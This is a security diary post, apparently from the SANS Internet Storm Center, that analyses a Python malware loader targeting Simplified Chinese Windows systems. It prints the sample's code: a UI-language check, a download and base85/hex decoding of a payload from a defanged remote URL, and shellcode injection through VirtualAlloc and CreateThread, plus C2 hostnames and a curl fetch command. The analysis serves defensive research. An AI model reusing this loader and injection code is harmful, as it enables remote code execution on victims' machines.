Malicious Python Script Targeting Chinese People

Published: 2022-01-06
Last Updated: 2022-01-06 09:12:46 UTC
by Xavier Mertens (Version: 1)
3 comment(s)

This week I found a lot of interesting scripts as this is my fourth diary in a row! I spotted a Python script that targets Chinese people. The script has a very low VT score (2/56) (SHA256:aaec7f4829445c89237694a654a731ee5a52fae9486b1d2bce5767d1ec30c7fb). How attackers can restricts their surface attack to some regions, countries or people?

The script implements a simple direct API call using the ctypes library:

dll_h = ctypes.windll.kernel32
if (dll_h.GetSystemDefaultUILanguage() != 2052):

GetSystemDefaultUILanguage() is a Microsoft API call that returns the system default UI language of the operating system[1]. If the language code is not 2052, the script exits. The valid 2052 correspond to "Simplified Chinese"[2]. Note that the script uploaded to VT was probably still being debugged or developed because exit() has been commented.

I had a look at the script which decoded a shell code using a Base85 encoding:

global c
url = 'hxxp://fileserverhk[.]oss-cn-hongkong[.]aliyuncs[.]com/home/js/js.js'
req = urllib.request.Request(url)
data = urllib.request.urlopen(req).read()
key0 = data[:1]
key1 = data[-5:]
key2 = data[1:len(data)-5]
c = b''.fromhex(key2.replace(key1,key0).decode())
c = base64.b85decode(c)

The shellcode downloads the next stage:

Loaded 348 bytes from file C:\Users\REM\Desktop\c.bin
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000

4010a2  LoadLibraryA(wininet)
4010b5  InternetOpenA()
4010d1  InternetConnectA(server: adult[.]up-flash[.]com, port: 8443, )

The shellcode is injected using an Base16/Hex/Base85 encoded code:

def decrypt_eval(str):
    global c
    s1 = base64.b16decode(str.encode()).decode()
    s2 = b''.fromhex(s1)
    s3 = base64.b85decode(s2)

The decoded code is classic:

import ctypes;
wiseZERld = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(c)),ctypes.c_int(0x3000),ctypes.c_int(0x40));
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(wiseZERld), c, ctypes.c_int(len(c)));
x = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(wiseZERld),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)));

You can find more information in the shellcode to generate the complete URL. The URI is readable and a User-Agent. It must be provided to fetch the content otherwise, an error is returned:

curl -o payload.bin -A "Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; RM-1152) AppleWebKit/537.36 (KHTML, like Gecko)"

The payload seems encrypted  but I did not find a way to decode it yet. When the payload is executed in a sandbox, it tries to fetch the following URL but a 404 error is returned:

There is another behaviour in the Python script and I don't see the purpose of this. Web services are created and binded to the loopback on multiple high-ports:

self.ports = [45990, 44792, 56390, 31590, 32790, 48790, 13080, 25980, 34680, 47980, 51380, 61080]

The webserver just returns a string "c_online_s":

  def handler(self, port):
        ip_port = ('', port)
        back_log = 10
        buffer_size = 1024
        webserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        while True:
                conn, addr = webserver.accept()
                if port in self.ports:
                    self.init = True
                recvdata = conn.recv(buffer_size)
                conn.sendall(bytes("HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\n\r\n", "utf-8"))
                conn.sendall(bytes("c_online_s", "utf-8"))

I've no idea about the purpose of this. If you have suggestions, please share!


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

3 comment(s)
ISC Stormcast For Thursday, January 6th, 2022


Diary Archives